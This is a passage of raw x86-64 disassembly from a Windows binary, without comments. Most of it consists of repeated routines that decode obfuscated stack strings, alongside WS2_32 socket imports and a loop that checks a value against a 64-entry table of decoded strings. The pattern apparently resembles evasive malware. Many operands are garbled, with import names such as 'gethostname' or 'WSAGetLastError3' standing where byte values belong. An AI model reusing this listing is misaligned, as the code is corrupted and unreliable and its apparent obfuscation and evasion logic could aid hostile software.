mov byte [rbp + 0xbce], al
mov al, byte [rbp + 0xbcf]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbcf], al
mov al, byte [rbp + 0xbd0]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbd0], al
mov al, byte [rbp + 0xbd1]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbd1], al
mov al, byte [rbp + 0xbd2]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbd2], al
lea rax, [rbp + 0xbc9]
mov qword [rbp + 0x4e8], rax
mov byte [rbp + 0x650], 0
mov byte [rbp + 0x651], 0x1c
mov byte [rbp + 0x652], 0x79
mov byte [rbp + 0x653], shutdown
mov byte [rbp + 0x654], 0x79
mov byte [rbp + 0x655], 5
mov byte [rbp + 0x656], 0x79
mov byte [rbp + 0x657], 5
mov byte [rbp + 0x658], 0x79
mov byte [rbp + 0x659], 0x79
mov byte [rbp + 0x65a], 0x79
lea rcx, [rbp + 0x650]
call fcn.14002fbb0
mov qword [rbp + 0x4f0], rax
mov byte [rbp + 0x660], 0
mov byte [rbp + 0x661], 1
mov byte [rbp + 0x662], 0x3c
mov byte [rbp + 0x663], 0x21
mov byte [rbp + 0x664], 0x3c
mov byte [rbp + 0x665], 0x52
mov byte [rbp + 0x666], 0x3c
mov byte [rbp + 0x667], 0x68
mov byte [rbp + 0x668], 0x3c
mov byte [rbp + 0x669], 0x3c
mov byte [rbp + 0x66a], 0x3c
lea rcx, [rbp + 0x660]
call fcn.140030000
mov qword [rbp + 0x4f8], rax
mov byte [rbp + 0x670], 0
mov byte [rbp + 0x671], WSAGetLastError
mov byte [rbp + 0x672], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x673], 0x22
mov byte [rbp + 0x674], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x675], 0x4f
mov byte [rbp + 0x676], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x677], 0x22
mov byte [rbp + 0x678], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x679], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x67a], reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x670]
call fcn.140030440
mov qword [rbp + 0x500], rax
mov byte [rbp + 0x680], 0
mov byte [rbp + 0x681], 1
mov byte [rbp + 0x682], 0x40
mov byte [rbp + 0x683], 0x56
mov byte [rbp + 0x684], 0x40
mov byte [rbp + 0x685], 0x53
mov byte [rbp + 0x686], 0x40
mov byte [rbp + 0x687], 0x2b
mov byte [rbp + 0x688], 0x40
mov byte [rbp + 0x689], 0x40
mov byte [rbp + 0x68a], 0x40
lea rcx, [rbp + 0x680]
call fcn.1400308c0
mov qword [rbp + 0x508], rax
mov byte [rbp + 0x820], 0
mov byte [rbp + 0x821], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x822], 0x57
mov byte [rbp + 0x823], 0x47
mov byte [rbp + 0x824], 0x57
mov byte [rbp + 0x825], gethostname
mov byte [rbp + 0x826], 0x57
mov byte [rbp + 0x827], 0x25
mov byte [rbp + 0x828], 0x57
mov byte [rbp + 0x829], 0x25
mov byte [rbp + 0x82a], 0x57
mov byte [rbp + 0x82b], 0x57
mov byte [rbp + 0x82c], 0x57
mov al, byte [rbp + 0x820]
test al, 1
jne 0x14001e8f6
xor eax, eax
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp + rax + 0x821]
movzx ecx, cl
mov edx, ecx
shl edx, 6
mov ebx, ecx
sub ebx, edx
neg edx
add ecx, edx
add ecx, 0x1569
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0x1569
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0x1569
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x821], cl
add rax, 1
cmp rax, 0xc
jne 0x14001e870
lea rax, [rbp + 0x821]
mov qword [rbp + 0x510], rax
mov byte [rbp + 0x968], 0
mov byte [rbp + 0x969], 0x2b
mov byte [rbp + 0x96a], 0x60
mov byte [rbp + 0x96b], WSAGetLastError
mov byte [rbp + 0x96c], 0x60
mov byte [rbp + 0x96d], WSACleanup
mov byte [rbp + 0x96e], 0x60
mov byte [rbp + 0x96f], gethostname
mov byte [rbp + 0x970], 0x60
mov byte [rbp + 0x971], 1
mov byte [rbp + 0x972], 0x60
mov byte [rbp + 0x973], 0x60
mov byte [rbp + 0x974], 0x60
mov al, byte [rbp + 0x968]
test al, 1
jne 0x14001e9ea
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x969]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0x1080
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x1080
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x1080
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x969], cl
add rax, 1
cmp rax, 0xc
jne 0x14001e970
lea rax, [rbp + 0x969]
mov qword [rbp + 0x518], rax
mov byte [rbp + 0xa48], 0
mov byte [rbp + 0xa49], 0x1b
mov byte [rbp + 0xa4a], 7
mov byte [rbp + 0xa4b], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa4c], 7
mov byte [rbp + 0xa4d], 0x5a
mov byte [rbp + 0xa4e], 7
mov byte [rbp + 0xa4f], 0x27
mov byte [rbp + 0xa50], 7
mov byte [rbp + 0xa51], 5
mov byte [rbp + 0xa52], 7
mov byte [rbp + 0xa53], 0x27
mov byte [rbp + 0xa54], 7
mov byte [rbp + 0xa55], 0x7c
mov byte [rbp + 0xa56], 7
mov byte [rbp + 0xa57], 0x49
mov byte [rbp + 0xa58], 7
mov byte [rbp + 0xa59], 7
mov byte [rbp + 0xa5a], 7
mov al, byte [rbp + 0xa48]
test al, 1
jne 0x14001eb05
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xa49]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xffffff97
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xffffff97
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xffffff97
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xa49], cl
add rax, 1
cmp rax, 0x12
jne 0x14001ea90
lea rax, [rbp + 0xa49]
mov qword [rbp + 0x520], rax
mov byte [rbp + 0x9d8], 0
mov byte [rbp + 0x9d9], 0x41
mov byte [rbp + 0x9da], WSACleanup
mov byte [rbp + 0x9db], 0x75
mov byte [rbp + 0x9dc], WSACleanup
mov byte [rbp + 0x9dd], 0x1b
mov byte [rbp + 0x9de], WSACleanup
mov byte [rbp + 0x9df], 0x29
mov byte [rbp + 0x9e0], WSACleanup
mov byte [rbp + 0x9e1], 0x59
mov byte [rbp + 0x9e2], WSACleanup
mov byte [rbp + 0x9e3], 0xd
mov byte [rbp + 0x9e4], WSACleanup
mov byte [rbp + 0x9e5], WSACleanup
mov byte [rbp + 0x9e6], WSACleanup
mov al, byte [rbp + 0x9d8]
test al, 1
jne 0x14001ec0a
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x9d9]
movzx ecx, cl
imul ecx, ecx, 0xffffffd3
mov edx, ecx
add edx, 0x140a
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x140a
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x140a
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x9d9], cl
add rax, 1
cmp rax, 0xe
jne 0x14001eb90
lea rax, [rbp + 0x9d9]
mov qword [rbp + 0x528], rax
mov byte [rbp + 0xb88], 0
mov byte [rbp + 0xb89], 0x58
mov byte [rbp + 0xb8a], 0x51
mov byte [rbp + 0xb8b], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb8c], 0x51
mov byte [rbp + 0xb8d], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0xb8e], 0x51
mov byte [rbp + 0xb8f], 0x46
mov byte [rbp + 0xb90], 0x51
mov byte [rbp + 0xb91], 0x44
mov byte [rbp + 0xb92], 0x51
mov byte [rbp + 0xb93], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb94], 0x51
mov byte [rbp + 0xb95], 0x46
mov byte [rbp + 0xb96], 0x51
mov byte [rbp + 0xb97], 0x1d
mov byte [rbp + 0xb98], 0x51
mov byte [rbp + 0xb99], 0x52
mov byte [rbp + 0xb9a], 0x51
mov byte [rbp + 0xb9b], 0x65
mov byte [rbp + 0xb9c], 0x51
mov byte [rbp + 0xb9d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb9e], 0x51
mov byte [rbp + 0xb9f], reloc.WS2_32.dll_socket
mov byte [rbp + 0xba0], 0x51
mov byte [rbp + 0xba1], shutdown
mov byte [rbp + 0xba2], 0x51
mov byte [rbp + 0xba3], 0x52
mov byte [rbp + 0xba4], 0x51
mov byte [rbp + 0xba5], 0x46
mov byte [rbp + 0xba6], 0x51
mov byte [rbp + 0xba7], 0x66
mov byte [rbp + 0xba8], 0x51
mov byte [rbp + 0xba9], reloc.WS2_32.dll_socket
mov byte [rbp + 0xbaa], 0x51
mov byte [rbp + 0xbab], 0xd
mov byte [rbp + 0xbac], 0x51
mov byte [rbp + 0xbad], shutdown
mov byte [rbp + 0xbae], 0x51
mov byte [rbp + 0xbaf], 0x46
mov byte [rbp + 0xbb0], 0x51
mov byte [rbp + 0xbb1], gethostbyname
mov byte [rbp + 0xbb2], 0x51
mov byte [rbp + 0xbb3], 0x21
mov byte [rbp + 0xbb4], 0x51
mov byte [rbp + 0xbb5], 0x1c
mov byte [rbp + 0xbb6], 0x51
mov byte [rbp + 0xbb7], 0x52
mov byte [rbp + 0xbb8], 0x51
mov byte [rbp + 0xbb9], 0x65
mov byte [rbp + 0xbba], 0x51
mov byte [rbp + 0xbbb], 0x59
mov byte [rbp + 0xbbc], 0x51
mov byte [rbp + 0xbbd], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xbbe], 0x51
mov byte [rbp + 0xbbf], 8
mov byte [rbp + 0xbc0], 0x51
mov byte [rbp + 0xbc1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xbc2], 0x51
mov byte [rbp + 0xbc3], 0x51
mov byte [rbp + 0xbc4], 0x51
mov al, byte [rbp + 0xb88]
test al, 1
jne 0x14001ee4a
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0xb89]
movzx ecx, cl
imul ecx, ecx, 0xffffffe6
mov edx, ecx
add edx, 0x83a
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x83a
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x83a
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb89], cl
add rax, 1
cmp rax, 0x3c
jne 0x14001edd0
mov qword [rbp + 0x530], r13
mov byte [rbp + 0x9f8], 0
mov byte [rbp + 0x9f9], 0x64
mov byte [rbp + 0x9fa], 0x4c
mov byte [rbp + 0x9fb], 0x28
mov byte [rbp + 0x9fc], 0x4c
mov byte [rbp + 0x9fd], 0xd
mov byte [rbp + 0x9fe], 0x4c
mov byte [rbp + 0x9ff], gethostname
mov byte [rbp + 0xa00], 0x4c
mov byte [rbp + 0xa01], 0x21
mov byte [rbp + 0xa02], 0x4c
mov byte [rbp + 0xa03], gethostbyname
mov byte [rbp + 0xa04], 0x4c
mov byte [rbp + 0xa05], 0x51
mov byte [rbp + 0xa06], 0x4c
mov byte [rbp + 0xa07], 0x50
mov byte [rbp + 0xa08], 0x4c
mov byte [rbp + 0xa09], shutdown
mov byte [rbp + 0xa0a], 0x4c
mov byte [rbp + 0xa0b], gethostname
mov byte [rbp + 0xa0c], 0x4c
mov byte [rbp + 0xa0d], 0x2d
mov byte [rbp + 0xa0e], 0x4c
mov byte [rbp + 0xa0f], 0x2a
mov byte [rbp + 0xa10], 0x4c
mov byte [rbp + 0xa11], 0x59
mov byte [rbp + 0xa12], 0x4c
mov byte [rbp + 0xa13], 0x2a
mov byte [rbp + 0xa14], 0x4c
mov byte [rbp + 0xa15], 0x4c
mov byte [rbp + 0xa16], 0x4c
mov al, byte [rbp + 0x9f8]
test al, 1
jne 0x14001efbe
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x9f9]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ebx, [rcx + rdx*2]
lea ecx, [rcx + rdx*2]
add ecx, 0xfffffa5c
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffa5c
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffffa5c
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x9f9], cl
add rax, 1
cmp rax, 0x1e
jne 0x14001ef40
lea rax, [rbp + 0x9f9]
mov qword [rbp + 0x538], rax
call fcn.140004a60
mov rcx, r15
mov rdx, rax
mov rsi, qword [sym.imp.SHLWAPI.dll_StrStrIW]
call rsi
test rax, rax
jne 0x14001be90
mov rdx, qword [rbp + 0x340]
mov rcx, r15
call rsi
test rax, rax
jne 0x14001be90
xor esi, esi
mov rdi, rsi
add rsi, 1
cmp rsi, 0x40
je 0x14001f023
mov rdx, qword [rbp + rsi*8 + 0x340]
mov rcx, r15
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
je 0x14001f000
cmp rdi, 0x3f
jb 0x14001be90
mov qword [rbp + 0x290], 0
movaps xmm0, xmmword [section..rdata]
movups xmmword [rbp + 0x2a0], xmm0
mov word [rbp + 0x290], 0
mov rcx, r15
call fcn.140036e08
mov rsi, rax
cmp rax, 7
jbe 0x140022ca3
lea rcx, [rbp + 0x290]
mov rdx, rsi
mov r9, r15
call fcn.1400015c0
jmp 0x140022cc9
mov byte [rbp + 0x9b8], 0
mov byte [rbp + 0x9b9], WSACleanup
mov byte [rbp + 0x9ba], WSACleanup
mov byte [rbp + 0x9bb], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x9bc], WSACleanup
mov byte [rbp + 0x9bd], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x9be], WSACleanup
mov byte [rbp + 0x9bf], 0x2b
mov byte [rbp + 0x9c0], WSACleanup
mov byte [rbp + 0x9c1], 0x46
mov byte [rbp + 0x9c2], WSACleanup
mov byte [rbp + 0x9c3], 0x2b
mov byte [rbp + 0x9c4], WSACleanup
mov byte [rbp + 0x9c5], WSAGetLastError
mov byte [rbp + 0x9c6], WSACleanup
mov byte [rbp + 0x9c7], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x9c8], WSACleanup
mov byte [rbp + 0x9c9], gethostname
mov byte [rbp + 0x9ca], WSACleanup
mov byte [rbp + 0x9cb], 0x24
mov byte [rbp + 0x9cc], WSACleanup
mov byte [rbp + 0x9cd], 0x55
mov byte [rbp + 0x9ce], WSACleanup
mov byte [rbp + 0x9cf], pe_nt_image_headers64
mov byte [rbp + 0x9d0], WSACleanup
mov byte [rbp + 0x9d1], WSACleanup
mov byte [rbp + 0x9d2], WSACleanup
mov al, byte [rbp + 0x9b8]
test al, 1
jne 0x14001f1c5
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x9b9]
movzx ecx, cl
add ecx, ecx
lea ecx, [rcx + rcx*8]
mov edx, 0x7e0
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x7e0
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x9b9], cl
add rax, 1
cmp rax, 0x1a
jne 0x14001f150
lea rax, [rbp + 0x9b9]
mov qword [rbp + 0x340], rax
mov byte [rbp + 0x9d8], 0
mov byte [rbp + 0x9d9], WSACleanup
mov byte [rbp + 0x9da], gethostbyname
mov byte [rbp + 0x9db], 0x3c
mov byte [rbp + 0x9dc], gethostbyname
mov byte [rbp + 0x9dd], 0x45
mov byte [rbp + 0x9de], gethostbyname
mov byte [rbp + 0x9df], 2
mov byte [rbp + 0x9e0], gethostbyname
mov byte [rbp + 0x9e1], 0x68
mov byte [rbp + 0x9e2], gethostbyname
mov byte [rbp + 0x9e3], 2
mov byte [rbp + 0x9e4], gethostbyname
mov byte [rbp + 0x9e5], WSACleanup
mov byte [rbp + 0x9e6], gethostbyname
mov byte [rbp + 0x9e7], 0x45
mov byte [rbp + 0x9e8], gethostbyname
mov byte [rbp + 0x9e9], 0x44
mov byte [rbp + 0x9ea], gethostbyname
mov byte [rbp + 0x9eb], 0x20
mov byte [rbp + 0x9ec], gethostbyname
mov byte [rbp + 0x9ed], 0x4c
mov byte [rbp + 0x9ee], gethostbyname
mov byte [rbp + 0x9ef], gethostname
mov byte [rbp + 0x9f0], gethostbyname
mov byte [rbp + 0x9f1], gethostbyname
mov byte [rbp + 0x9f2], gethostbyname
mov al, byte [rbp + 0x9d8]
test al, 1
jne 0x14001f31a
xor eax, eax
movzx ecx, byte [rbp + rax + 0x9d9]
movzx ecx, cl
imul ecx, ecx, 0x37
mov edx, ecx
add edx, 0xfffff50b
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff50b
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfffff50b
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x9d9], cl
add rax, 1
cmp rax, 0x1a
jne 0x14001f2a0
lea rax, [rbp + 0x9d9]
mov qword [rbp + 0x348], rax
mov byte [rbp + 0x6d0], 0
mov byte [rbp + 0x6d1], shutdown
mov byte [rbp + 0x6d2], 0x66
mov byte [rbp + WSAGetLastError3], 0x6d
mov byte [rbp + 0x6d4], 0x66
mov byte [rbp + 0x6d5], 0x26
mov byte [rbp + 0x6d6], 0x66
mov byte [rbp + 0x6d7], WSAGetLastError
mov byte [rbp + 0x6d8], 0x66
mov byte [rbp + 0x6d9], 0x40
mov byte [rbp + 0x6da], 0x66
mov byte [rbp + 0x6db], gethostbyname
mov byte [rbp + 0x6dc], 0x66
mov byte [rbp + 0x6dd], 0x42
mov byte [rbp + 0x6de], 0x66
mov byte [rbp + 0x6df], 0x5e
mov byte [rbp + 0x6e0], 0x66
mov byte [rbp + 0x6e1], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x6e2], 0x66
mov byte [rbp + 0x6e3], 0x40
mov byte [rbp + 0x6e4], 0x66
mov byte [rbp + 0x6e5], 0x66
mov byte [rbp + 0x6e6], 0x66
mov al, byte [rbp + 0x6d0]
test al, 1
jne 0x14001f460
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x6d1]
movzx ecx, cl
mov edx, ecx
shl edx, 5
lea ebx, [rdx + rcx*2]
lea ecx, [rdx + rcx*2]
add ecx, 0xfffff274
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffff274
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffff274
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x6d1], cl
add rax, 1
cmp rax, 0x16
jne 0x14001f3e0
lea rax, [rbp + 0x6d1]
mov qword [rbp + 0x350], rax
mov byte [rbp + 0x7e0], 0
mov byte [rbp + 0x7e1], 0
mov byte [rbp + 0x7e2], gethostname
mov byte [rbp + 0x7e3], 0x27
mov byte [rbp + 0x7e4], gethostname
mov byte [rbp + 0x7e5], inet_ntoa
mov byte [rbp + 0x7e6], gethostname
mov byte [rbp + 0x7e7], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x7e8], gethostname
mov byte [rbp + 0x7e9], 1
mov byte [rbp + 0x7ea], gethostname
mov byte [rbp + 0x7eb], reloc.WS2_32.dll_socket
mov byte [rbp + 0x7ec], gethostname
mov byte [rbp + 0x7ed], 0x27
mov byte [rbp + 0x7ee], gethostname
mov byte [rbp + 0x7ef], 0x1f
mov byte [rbp + 0x7f0], gethostname
mov byte [rbp + 0x7f1], shutdown
mov byte [rbp + 0x7f2], gethostname
mov byte [rbp + 0x7f3], gethostname
mov byte [rbp + 0x7f4], gethostname
mov byte [rbp + 0x7f5], 0x7c
mov byte [rbp + 0x7f6], gethostname
mov byte [rbp + 0x7f7], 0x21
mov byte [rbp + 0x7f8], gethostname
mov byte [rbp + 0x7f9], gethostname
mov byte [rbp + 0x7fa], gethostname
mov al, byte [rbp + 0x7e0]
test al, 1
jne 0x14001f5c6
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x7e1]
movzx ecx, cl
mov edx, ecx
shl edx, 6
mov ebx, ecx
sub ebx, edx
neg edx
add ecx, edx
add ecx, 0xd89
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xd89
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xd89
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x7e1], cl
add rax, 1
cmp rax, 0x1a
jne 0x14001f540
lea rax, [rbp + 0x7e1]
mov qword [rbp + 0x358], rax
mov byte [rbp + 0x800], 0
mov byte [rbp + 0x801], 0x51
mov byte [rbp + 0x802], 0x4e
mov byte [rbp + 0x803], 0x23
mov byte [rbp + 0x804], 0x4e
mov byte [rbp + 0x805], gethostname
mov byte [rbp + 0x806], 0x4e
mov byte [rbp + 0x807], 0x42
mov byte [rbp + 0x808], 0x4e
mov byte [rbp + 0x809], 0x2c
mov byte [rbp + 0x80a], 0x4e
mov byte [rbp + 0x80b], 0x77
mov byte [rbp + 0x80c], 0x4e
mov byte [rbp + 0x80d], 0x23
mov byte [rbp + 0x80e], 0x4e
mov byte [rbp + 0x80f], 0x4d
mov byte [rbp + 0x810], 0x4e
mov byte [rbp + 0x811], 0x67
mov byte [rbp + 0x812], 0x4e
mov byte [rbp + 0x813], 0x19
mov byte [rbp + 0x814], 0x4e
mov byte [rbp + 0x815], 0x23
mov byte [rbp + 0x816], 0x4e
mov byte [rbp + 0x817], 0x4d
mov byte [rbp + 0x818], 0x4e
mov byte [rbp + 0x819], 0x4e
mov byte [rbp + 0x81a], 0x4e
mov al, byte [rbp + 0x800]
test al, 1
jne 0x14001f72b
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x801]
movzx ecx, cl
lea ecx, [rcx + rcx*2]
lea edx, [rcx*4 - 0x3a8]
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
lea edx, [rdx + rcx*4]
add edx, 0xfffffc58
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
lea ecx, [rdx + rcx*4]
add ecx, 0xfffffc58
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x801], cl
add rax, 1
cmp rax, 0x1a
jne 0x14001f6b0
lea rax, [rbp + 0x801]
mov qword [rbp + 0x360], rax
mov byte [rbp + 0xa68], 0
mov byte [rbp + 0xa69], 0x7b
mov byte [rbp + 0xa6a], 0x57
mov byte [rbp + 0xa6b], 0x3b
mov byte [rbp + 0xa6c], 0x57
mov byte [rbp + 0xa6d], 0x64
mov byte [rbp + 0xa6e], 0x57
mov byte [rbp + 0xa6f], shutdown
mov byte [rbp + 0xa70], 0x57
mov byte [rbp + 0xa71], 0x20
mov byte [rbp + 0xa72], 0x57
mov byte [rbp + 0xa73], 0x7b
mov byte [rbp + 0xa74], 0x57
mov byte [rbp + 0xa75], 0xe
mov byte [rbp + 0xa76], 0x57
mov byte [rbp + 0xa77], 0x57
mov byte [rbp + 0xa78], 0x57
mov al, byte [rbp + 0xa68]
test al, 1
jne 0x14001f840
xor eax, eax
movzx ecx, byte [rbp + rax + 0xa69]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea edx, [rdx + rdx*2]
